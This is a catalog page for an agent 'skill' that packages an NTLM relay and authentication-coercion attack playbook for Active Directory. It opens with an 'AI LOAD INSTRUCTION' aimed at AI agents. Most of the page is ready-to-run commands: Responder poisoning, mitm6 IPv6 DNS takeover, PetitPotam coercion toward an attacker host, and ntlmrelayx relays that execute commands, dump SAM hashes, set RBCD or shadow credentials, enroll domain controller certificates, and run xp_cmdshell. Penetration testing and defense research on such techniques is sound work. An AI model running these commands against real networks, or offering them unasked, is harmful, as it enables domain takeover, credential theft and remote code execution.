ntlm-relay-coercion
yaklang/hack-skills
NTLM relay and authentication coercion playbook for privilege escalation via SMB, LDAP, HTTP, and MSSQL.
What is ntlm-relay-coercion?
Expert techniques for capturing and relaying NTLM authentication to escalate privileges in Active Directory environments. Covers Responder poisoning, ntlmrelayx relay chains, mitm6 IPv6 takeover, cross-protocol relay, and coercion methods like PetitPotam and PrinterBug. Use when you need to relay captured credentials to SMB, LDAP, ADCS, or MSSQL targets for domain escalation or code execution.
- Relay NTLM authentication across SMB, LDAP, LDAPS, HTTP, MSSQL, and RPC protocols
- Identify and bypass SMB signing and EPA/channel binding requirements
- Perform cross-protocol relay (SMB→LDAP, WebDAV→LDAP) to avoid signing constraints
- Execute commands via relayed SMB admin sessions or MSSQL xp_cmdshell
- Modify Active Directory ACLs via LDAP relay (RBCD, shadow credentials, add computer)
- Enroll certificates via ADCS HTTP relay (ESC8) using relayed credentials
How to install ntlm-relay-coercion
npx skills add https://github.com/yaklang/hack-skills --skill ntlm-relay-coercion- Network access to target environment (same subnet for Responder/mitm6, or positioned on network path)
- Responder or mitm6 for credential capture (or active coercion tools like PetitPotam)
- ntlmrelayx.py from Impacket suite for relay execution
- Target list with IP addresses and relay protocol endpoints (SMB, LDAP, HTTP, MSSQL)
- Knowledge of target signing requirements (SMB signing, LDAP signing, EPA/channel binding)
How to use ntlm-relay-coercion
- 1.Identify relay targets: use crackmapexec or nmap to check SMB signing status and available protocols on targets
- 2.Start credential capture: run Responder (LLMNR/NBT-NS/WPAD poisoning) or mitm6 (IPv6 DNS takeover) on network segment
- 3.Configure ntlmrelayx: choose relay target protocol (SMB for execution, LDAP for ACL modification, HTTP for ADCS, MSSQL for SQL)
- 4.Execute relay: run ntlmrelayx.py with target list and desired action (command execution, RBCD, shadow credentials, certificate enrollment)
- 5.Trigger authentication: wait for Responder poisoning to capture traffic, or use active coercion (PetitPotam, PrinterBug, WebDAV) to force target authentication
- 6.Verify success: check ntlmrelayx output for successful relay, command execution results, or ACL modifications
- 7.Post-exploitation: use relayed sessions (SOCKS proxy, SMB access, LDAP modifications) for lateral movement or persistence
Use cases
- Relay Responder-captured NTLM hashes to SMB targets for command execution without cracking passwords
- Relay workstation authentication to LDAP to set up RBCD or shadow credentials for persistence
- Use mitm6 to intercept IPv6 DHCP and force WPAD authentication, then relay to LDAP for domain escalation
- Relay WebDAV-based NTLM (HTTP) to LDAP to bypass SMB signing requirements on domain controllers
- Relay captured DC authentication to ADCS HTTP endpoint to enroll a domain controller certificate (ESC8)
- Red teamers and penetration testers performing Active Directory compromise
- Security researchers testing NTLM relay defenses and signing enforcement
- Incident responders investigating NTLM relay attack chains
- Network security engineers validating SMB signing and LDAP signing policies
ntlm-relay-coercion FAQ
Both NTLMv1 and NTLMv2 are relayable. NTLMv1 is weaker and crackable to NTLM hash via rainbow tables or crack.sh. NTLMv2 requires offline brute-force to crack but is still relayable. Modern Windows defaults to NTLMv2.
SMB signing is required by default on domain controllers but not on workstations. If SMB signing is enforced on the target, relay to SMB fails. Use cross-protocol relay (SMB→LDAP or WebDAV→LDAP) or relay to ADCS HTTP instead.
WebDAV converts SMB-type coercion to HTTP-based NTLM, avoiding SMB signing requirements. This allows relay to LDAP even when SMB signing is enforced, as long as the target has WebClient service running.
Responder poisons LLMNR/NBT-NS/WPAD on the local network. mitm6 exploits IPv6 auto-configuration to become the DNS server, forcing all DNS queries through the attacker. mitm6 is more reliable but requires IPv6 to be enabled.
LDAPS enforces channel binding by default, which prevents relay. Standard LDAP (port 389) without signing enforcement is relayable. If LDAP signing is enforced, use cross-protocol relay (SMB→LDAP) or relay to ADCS HTTP instead.
Full instructions (SKILL.md)
Source of truth, from yaklang/hack-skills.
name: ntlm-relay-coercion description: >- NTLM relay and authentication coercion playbook. Use when capturing and relaying NTLM authentication to escalate privileges via SMB, LDAP, HTTP, or MSSQL relay targets, combined with PetitPotam, PrinterBug, and other coercion methods.
SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-certificate-services for ESC8 (relay to ADCS enrollment)
- active-directory-acl-abuse for ACL modification via LDAP relay (RBCD, shadow creds)
- active-directory-kerberos-attacks for Kerberos attacks after relay success
- windows-lateral-movement for post-relay lateral movement
Advanced Reference
Also load COERCION_METHODS.md when you need:
- Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
- RPC function-level details and prerequisites
- Coercer tool usage and discovery
1. NTLM RELAY FUNDAMENTALS
Victim Attacker (relay) Target
│ │ │
│── NTLM Auth ──→│ │ (1) Victim authenticates (coerced/poisoned)
│ │── Forward Auth ─────→│ (2) Attacker relays to target
│ │←─ Challenge ──────── │ (3) Target sends challenge
│←─ Challenge ────│ │ (4) Attacker forwards challenge to victim
│── Response ────→│ │ (5) Victim computes response
│ │── Forward Response ─→│ (6) Attacker relays response to target
│ │←─ Authenticated! ────│ (7) Target accepts → attacker has session
NTLMv1 vs NTLMv2
| Feature | NTLMv1 | NTLMv2 |
|---|---|---|
| Security | Weak (crackable to NTLM hash) | Stronger (but still relayable) |
| Relay | Yes | Yes |
| Crack to hash | Yes (rainbow tables, crack.sh) | Offline brute-force only |
| Downgrade | Force via Responder --lm | Default in modern Windows |
2. RELAY TARGET MATRIX
| Target Protocol | What You Get | Signing Required by Default? | EPA/Channel Binding? |
|---|---|---|---|
| SMB | Command exec (if admin), file access | DCs: Yes, Workstations: No | No |
| LDAP | ACL modification, RBCD, shadow creds, add computer | DCs: No (negotiated) | No (unless configured) |
| LDAPS | Same as LDAP but encrypted | N/A | Yes (channel binding) |
| HTTP (ADCS) | Certificate enrollment (ESC8) | No | Depends on config |
| MSSQL | SQL queries, xp_cmdshell | No | No |
| IMAP/SMTP | Email access | No | No |
| RPC | Various (CA enrollment for ESC11) | Depends | No |
Signing Check
# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing
# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE
3. RESPONDER — CREDENTIAL CAPTURE
LLMNR/NBT-NS/WPAD/mDNS Poisoning
# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP
# Analyze mode (passive, no poisoning)
responder -I eth0 -A
# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137) — NetBIOS Name Service
# WPAD — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353) — Multicast DNS
Responder + Relay (Don't Capture, Relay Instead)
# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off
# Start Responder for poisoning only
responder -I eth0 -dwP
# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support
4. NTLMRELAYX — RELAY EXECUTION
Relay to SMB (Admin Execution)
# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support
# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user
Relay to LDAP (ACL Modification)
# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support
# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support
# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain
Relay to ADCS HTTP (ESC8)
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
# Use with coercion to relay DC auth → get DC certificate
Relay to MSSQL
ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"
5. MITM6 — IPv6 DNS TAKEOVER
# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com
# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support
# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer
6. CROSS-PROTOCOL RELAY
SMB → LDAP
Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).
# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support
# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP
Limitation: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.
WebDAV → LDAP
WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).
# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support
# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP
7. WEBDAV-BASED COERCION
WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.
# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav
# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share
Key advantage: HTTP-based NTLM avoids SMB signing requirements.
8. NTLM RELAY DECISION TREE
Want to relay NTLM authentication
│
├── What auth can you capture?
│ ├── Responder poisoning (passive, wait for queries)
│ ├── mitm6 (DHCPv6 DNS takeover, periodic)
│ └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│ │
│ ├── Need code execution?
│ │ ├── SMB target without signing → ntlmrelayx to SMB (§4)
│ │ └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│ │
│ ├── Need domain escalation?
│ │ ├── LDAP signing not enforced?
│ │ │ ├── Relay to LDAP → RBCD (§4)
│ │ │ ├── Relay to LDAP → shadow credentials (§4)
│ │ │ └── Relay to LDAP → add computer + delegate (§4)
│ │ └── LDAP signing enforced?
│ │ └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│ │
│ └── Need certificate?
│ └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│ ├── Target is SMB → check signing (§2)
│ ├── Target is LDAP → may work (cross-protocol, §6)
│ └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│ └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
├── Check signing requirements (§2)
├── Check EPA/channel binding
├── Try cross-protocol (SMB → LDAP)
└── Try WebDAV coercion (avoids SMB signing)
Related skills
More from yaklang/hack-skills and the wider catalog.

oauth-oidc-misconfiguration
OAuth and OIDC misconfiguration testing playbook for redirect URIs, state/nonce validation, PKCE, and token binding flaws.

open-redirect
Exploit open redirects via parameter injection, filter bypass, and chaining with phishing, OAuth token theft, and SSRF.

path-traversal-lfi
Expert path traversal and LFI attack playbook with encoding bypass, log poisoning, and PHP wrapper exploitation.

prototype-pollution
Test JavaScript prototype pollution in client and server contexts via __proto__ and constructor.prototype paths.

prototype-pollution-advanced
Escalate confirmed prototype pollution to RCE via template engines, child_process gadgets, and client-side script exploitation.

race-condition
Test race conditions and TOCTOU vulnerabilities in web apps via synchronized parallel requests.